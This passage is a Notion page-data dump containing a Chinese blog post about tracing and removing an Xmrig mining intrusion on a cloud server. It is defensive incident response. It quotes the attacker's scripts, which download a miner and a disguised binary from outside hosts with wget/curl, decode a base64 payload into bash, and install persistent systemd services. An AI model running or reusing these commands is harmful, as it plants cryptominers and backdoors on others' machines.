2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":"","blockMap":{"block":{"7e13a286-a275-4f48-b9d0-416c9b1368ce":{"value":{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","version":324,"type":"page","content":["ada1daa9-9ec1-4546-9254-ddf3e5ad8162","861b8d3c-c4f1-4ece-a760-e9d0eddd8e90","d666b229-4f44-4e54-9332-9bea24a143f4","25a26dc5-65f8-4e1f-85c6-c3d3c9958af5","660f94c6-0c58-4e6e-8ae0-d92e0bc1f5dd","a79c184e-b4b1-40be-9b0c-8ac739647018","e296a959-a78b-4075-96e9-8513be10984a","557aa532-93be-450a-a95a-57fe1fbef80c","7a0d9210-16b0-47f6-9109-cbe8dacd1197","513bf277-14f2-40df-9fe5-5d5e66266ad1","f1b00174-0fc2-4c92-aa89-1240ab7a2880","f61d0519-01a1-478e-80c7-35c9118bc24d","a3b1ea8c-90a3-4b28-9cf6-fb8f2bb9bdbc","dfa778c0-22eb-460f-91da-4c9e89100d07","8706dcce-a26a-4928-a907-a8d5f6dbad7e","b51cfb34-025c-4e9b-a604-99d4b02e9fc5","cf3a69ec-dc8f-4808-8034-89fe5bd29d14","0e833496-a19a-41a7-b6a0-78d848bf1754","723a182a-626b-4c3a-a918-e190ff211798","1ee5667c-9025-478c-9b94-0303a98f4067","af73c0b0-fefa-4be8-908d-9f53434e90f1","26d7cf25-e010-42fc-a17a-f41bf5810199","6ad39ada-a5ba-4717-b358-d1d013de7f01","6da1726b-3b01-4477-9f83-9c21240b1f03","c5b1e0c0-edb3-45bc-90d2-5fc97aadef92","ac2e2b33-c939-4e51-b645-a75d92cefce2","bf3c5b4c-2a2e-4940-8141-00e72adb8cd3","9213b777-2c2f-4959-89fe-83076a290465","1f2fa689-6444-408e-8982-d97876cbaca9","8a913cee-ee89-46cd-a83e-a3f02655f038"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1710853767745,"last_edited_time":1710868542884,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"ada1daa9-9ec1-4546-9254-ddf3e5ad8162":{"value":{"id":"ada1daa9-9ec1-4546-9254-ddf3e5ad8162","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769933,"last_edited_time":1710853769933,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"861b8d3c-c4f1-4ece-a760-e9d0eddd8e90":{"value":{"id":"861b8d3c-c4f1-4ece-a760-e9d0eddd8e90","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769933,"last_edited_time":1710853769933,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"d666b229-4f44-4e54-9332-9bea24a143f4":{"value":{"id":"d666b229-4f44-4e54-9332-9bea24a143f4","type":"callout","properties":{"title":[["叮咚!阿里云提示你,你的服务器正在被攻击!"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769932,"last_edited_time":1710853886689,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"25a26dc5-65f8-4e1f-85c6-c3d3c9958af5":{"value":{"id":"25a26dc5-65f8-4e1f-85c6-c3d3c9958af5","type":"header","properties":{"title":[["问题"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769933,"last_edited_time":1710853769933,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"660f94c6-0c58-4e6e-8ae0-d92e0bc1f5dd":{"value":{"id":"660f94c6-0c58-4e6e-8ae0-d92e0bc1f5dd","type":"image","properties":{"size":[["287.7KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/5a5eece4-6451-458c-bdb3-642896fe44e8/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/5a5eece4-6451-458c-bdb3-642896fe44e8/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5418118466898955,"block_preserve_scale":true},"created_time":1710853947661,"last_edited_time":1710853954162,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"file_ids":["5a5eece4-6451-458c-bdb3-642896fe44e8"]}},"a79c184e-b4b1-40be-9b0c-8ac739647018":{"value":{"id":"a79c184e-b4b1-40be-9b0c-8ac739647018","type":"header","properties":{"title":[["排查思路"]]},"format":{"copied_from_pointer":{"id":"10f81046-c412-4a78-b051-1cec7d572d9c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769932,"last_edited_time":1710853984146,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"10f81046-c412-4a78-b051-1cec7d572d9c"}},"e296a959-a78b-4075-96e9-8513be10984a":{"value":{"id":"e296a959-a78b-4075-96e9-8513be10984a","type":"code","properties":{"title":[["#上去服务器先看看这个文件\nps aux | grep xmrig"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710853998397,"last_edited_time":1710854047375,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"557aa532-93be-450a-a95a-57fe1fbef80c":{"value":{"id":"557aa532-93be-450a-a95a-57fe1fbef80c","type":"image","properties":{"size":[["87.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/0c1d2d17-20c1-4e26-97f8-697d634eefda/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/0c1d2d17-20c1-4e26-97f8-697d634eefda/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.07175660160734787,"block_preserve_scale":true},"created_time":1710854095533,"last_edited_time":1710854100787,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"file_ids":["0c1d2d17-20c1-4e26-97f8-697d634eefda"]}},"7a0d9210-16b0-47f6-9109-cbe8dacd1197":{"value":{"id":"7a0d9210-16b0-47f6-9109-cbe8dacd1197","type":"code","properties":{"title":[["#排查下pid关联的文件 -\u003e 没啥收获\nll /proc/{pid}/fd \n#查看网络链接,记住关键ip\nnetstat -tunap | grep {pid}\n#kill再说\nkill -9 {pid}\n#然后全局查找文件(这里要记住文件大概什么时候创建的)\nfind / -name xmrig\n#rm -rf xmrig相关\nrm -rf {xxxx}\n#检查下定时任务,该取消就取消\ncrontab -l\n#再检查下xmrig相关后台程序 -\u003e 我这里使用xmrig关键字没搜到\nsystemctl list-units --type=service  | grep xmrig"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710854103480,"last_edited_time":1710854623530,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"513bf277-14f2-40df-9fe5-5d5e66266ad1":{"value":{"id":"513bf277-14f2-40df-9fe5-5d5e66266ad1","type":"text","properties":{"title":[["不出意外的话,5分钟后xmrig又被拉起来了,现在我们知道他有守护程序了。"]]},"created_time":1710854163131,"last_edited_time":1710854425767,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"f1b00174-0fc2-4c92-aa89-1240ab7a2880":{"value":{"id":"f1b00174-0fc2-4c92-aa89-1240ab7a2880","type":"code","properties":{"title":[["#查询服务器网络链接,看起来可疑ip记录下pid\nnetstat -tunap \n#看看所有的程序\nps aux\n#以上两个步骤我基本确定下面这个pid很可疑,在看下文件创建时间,与xmrig创建时间一致\n/opt/sysetmd 9x25 481.x1.x1.4x\n#依然看看关联文件-\u003e没收获\nll /proc/{pid}/fd \n#再kill掉\nkill -9 {pid}\n#删除文件sysetmd相关\nrm -rf {xxxx}\n#再去找自启动服务 这个确实找到了\nsystemctl list-units --type=service  | grep sysetmd"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710854428765,"last_edited_time":1710855194033,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"f61d0519-01a1-478e-80c7-35c9118bc24d":{"value":{"id":"f61d0519-01a1-478e-80c7-35c9118bc24d","type":"image","properties":{"size":[["120.7KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3f5c325a-22bb-4012-a104-25e90a12e09a/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3f5c325a-22bb-4012-a104-25e90a12e09a/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.31000654022236757,"block_preserve_scale":true},"created_time":1710855117718,"last_edited_time":1710855123273,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"file_ids":["3f5c325a-22bb-4012-a104-25e90a12e09a"]}},"a3b1ea8c-90a3-4b28-9cf6-fb8f2bb9bdbc":{"value":{"id":"a3b1ea8c-90a3-4b28-9cf6-fb8f2bb9bdbc","type":"code","properties":{"title":[["#直接给他停掉\nsystemctl stop  sysetmd.service\nsystemctl disable sysetmd.service\nrm -f /etc/systemd/system/sysetmd.service"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710855127688,"last_edited_time":1710855176774,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"dfa778c0-22eb-460f-91da-4c9e89100d07":{"value":{"id":"dfa778c0-22eb-460f-91da-4c9e89100d07","type":"text","properties":{"title":[["额外收获,发现/etc/systemd/system下有个自启动的service名字和创建时间很可疑"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710855204178,"last_edited_time":1710855315886,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"8706dcce-a26a-4928-a907-a8d5f6dbad7e":{"value":{"id":"8706dcce-a26a-4928-a907-a8d5f6dbad7e","type":"image","properties":{"size":[["377.0KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/6b0d8552-ec02-4293-ac41-5d0ecdf1f1ca/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/6b0d8552-ec02-4293-ac41-5d0ecdf1f1ca/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6695402298850575,"block_preserve_scale":true},"created_time":1710855297999,"last_edited_time":1710855302836,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"file_ids":["6b0d8552-ec02-4293-ac41-5d0ecdf1f1ca"]}},"b51cfb34-025c-4e9b-a604-99d4b02e9fc5":{"value":{"id":"b51cfb34-025c-4e9b-a604-99d4b02e9fc5","type":"code","properties":{"title":[["#cat查看下\ncat monero.service\n\n#文件内容如下,发现xmrig就是这个拉起来的\n[Unit]\nDescription=Monero miner service node\n\n[Service]\nExecStart=/root/xmrig-6.21.1/xmrig --donate-level 1 -o xxxxxxx\nRestart=always\n\n[Install]\n\n#直接给他停掉\nsystemctl stop  monero.service\nsystemctl disable monero.service\nrm /etc/systemd/system/monero.service\n\n#然后持续观察以下内容\nps aux \ntop -c\nnetstat -tunap "]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710855321955,"last_edited_time":1710855493722,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"cf3a69ec-dc8f-4808-8034-89fe5bd29d14":{"value":{"id":"cf3a69ec-dc8f-4808-8034-89fe5bd29d14","type":"text","properties":{"title":[["最后防止还有其他守护程序被拉起来,再看看对应时间点有哪些文件增加"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710855310476,"last_edited_time":1710855543002,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"0e833496-a19a-41a7-b6a0-78d848bf1754":{"value":{"id":"0e833496-a19a-41a7-b6a0-78d848bf1754","type":"code","properties":{"title":[["#查找某个时间段的文件\n#忽略/proc文件夹\nfind / -type d \\( -path /proc -o -path /var/lib/docker -o -path /mnt/www/docker -o -path /usr/local/aegis  \\) -prune -o -type f -newermt \"2024-03-18 00:00:00\" ! -newermt \"2024-03-19 00:00:00\" -print"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710855546376,"last_edited_time":1710855606043,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"723a182a-626b-4c3a-a918-e190ff211798":{"value":{"id":"723a182a-626b-4c3a-a918-e190ff211798","type":"image","properties":{"size":[["84.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a078109a-f42d-4a2b-8f84-8a810cf1fead/Untitled.png"]]},"format":{"block_width":920,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a078109a-f42d-4a2b-8f84-8a810cf1fead/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.2826086956521739,"block_preserve_scale":true},"created_time":1710855673964,"last_edited_time":1710855679321,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"file_ids":["a078109a-f42d-4a2b-8f84-8a810cf1fead"]}},"1ee5667c-9025-478c-9b94-0303a98f4067":{"value":{"id":"1ee5667c-9025-478c-9b94-0303a98f4067","type":"code","properties":{"title":[["#找到wawa.sh和update_udp.sh很可疑\n\n#wawa.sh如下\ncd /root;\nwget http://1187xxxxxom/xmrig-6.21.1-linux-static-x64.tar.gz;\ntar -zxvf xmrig-6.21.1-linux-static-x64.tar.gz;\nsystemctl stop monero.service;\nrm -rf /etc/systemd/system/monero.service;\nwget http://xxxxon/monero.service;\nsysctl -w vm.nr_hugepages=$((1168+$(nproc)));\nmv monero.service /etc/systemd/system/monero.service;\nsystemctl daemon-reload;\nsystemctl enable monero.service;\nsystemctl start monero.service\n\n#update_udp.sh如下\necho \"xxxx==base64encodeexxxxxx\"|base64 -di|bash -s\n#base64解谜如下\ncurl -s http:/x7/libhv.so -o /opt/libhv.so;\ncp /opt/libhv.so /usr/lib/libhv.so;\ncp /opt/libhv.so /usr/lib64/libhv.so;\ncurl -s http://bpxysetmd -o /opt/sysetmd;\nchmod 777 /opt/sysetmd;\ncurl -s http://bpgx27/sysetmd.service -o /etc/systemd/system/sysetmd.service;systemctl daemon-reload;\nsystemctl enable sysetmd.service;\nsystemctl start sysetmd.service;"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710855687497,"last_edited_time":1710855822956,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"af73c0b0-fefa-4be8-908d-9f53434e90f1":{"value":{"id":"af73c0b0-fefa-4be8-908d-9f53434e90f1","type":"text","properties":{"title":[["发现和我清除的一致,再持续观察一段时间,还有这个人是真的蠢,为什么部署sh还要留下"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710855825239,"last_edited_time":1710855868497,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"26d7cf25-e010-42fc-a17a-f41bf5810199":{"value":{"id":"26d7cf25-e010-42fc-a17a-f41bf5810199","type":"header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769932,"last_edited_time":1710853769932,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"6ad39ada-a5ba-4717-b358-d1d013de7f01":{"value":{"id":"6ad39ada-a5ba-4717-b358-d1d013de7f01","type":"bulleted_list","properties":{"title":[["找被黑时间左右的所有文件一个一个排查"]]},"created_time":1710855982697,"last_edited_time":1710856009153,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"6da1726b-3b01-4477-9f83-9c21240b1f03":{"value":{"id":"6da1726b-3b01-4477-9f83-9c21240b1f03","type":"bulleted_list","properties":{"title":[["找文件关联pid"]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769932,"last_edited_time":1710856010525,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"c5b1e0c0-edb3-45bc-90d2-5fc97aadef92":{"value":{"id":"c5b1e0c0-edb3-45bc-90d2-5fc97aadef92","type":"bulleted_list","properties":{"title":[["找pid关联fd,端口,ip等"]]},"created_time":1710855892374,"last_edited_time":1710856017679,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"ac2e2b33-c939-4e51-b645-a75d92cefce2":{"value":{"id":"ac2e2b33-c939-4e51-b645-a75d92cefce2","type":"bulleted_list","properties":{"title":[["找相关service,排查异常servcie,定时任务全部停止"]]},"created_time":1710855917952,"last_edited_time":1710856113350,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"bf3c5b4c-2a2e-4940-8141-00e72adb8cd3":{"value":{"id":"bf3c5b4c-2a2e-4940-8141-00e72adb8cd3","type":"bulleted_list","properties":{"title":[["持续观察cpu,网络等信息"]]},"created_time":1710855929613,"last_edited_time":1710856053608,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"9213b777-2c2f-4959-89fe-83076a290465":{"value":{"id":"9213b777-2c2f-4959-89fe-83076a290465","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769933,"last_edited_time":1710853769933,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"1f2fa689-6444-408e-8982-d97876cbaca9":{"value":{"id":"1f2fa689-6444-408e-8982-d97876cbaca9","type":"column_list","content":["c7184f46-708d-4e2a-842e-86e0110aece0","27670dd3-1c08-417c-8df9-ee69095a647e","7759e27d-6555-4cf4-af7c-92289e6b2a6f"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769933,"last_edited_time":1710853769933,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"c7184f46-708d-4e2a-842e-86e0110aece0":{"value":{"id":"c7184f46-708d-4e2a-842e-86e0110aece0","type":"column","content":["68a0b662-e72a-470b-95d5-c904c3908fa2"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"1f2fa689-6444-408e-8982-d97876cbaca9","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"27670dd3-1c08-417c-8df9-ee69095a647e":{"value":{"id":"27670dd3-1c08-417c-8df9-ee69095a647e","type":"column","content":["e6f04189-03e8-4eb7-8d83-f52461442c69","8800522e-0ef9-40b9-a37c-26e5267758ab"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"1f2fa689-6444-408e-8982-d97876cbaca9","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"7759e27d-6555-4cf4-af7c-92289e6b2a6f":{"value":{"id":"7759e27d-655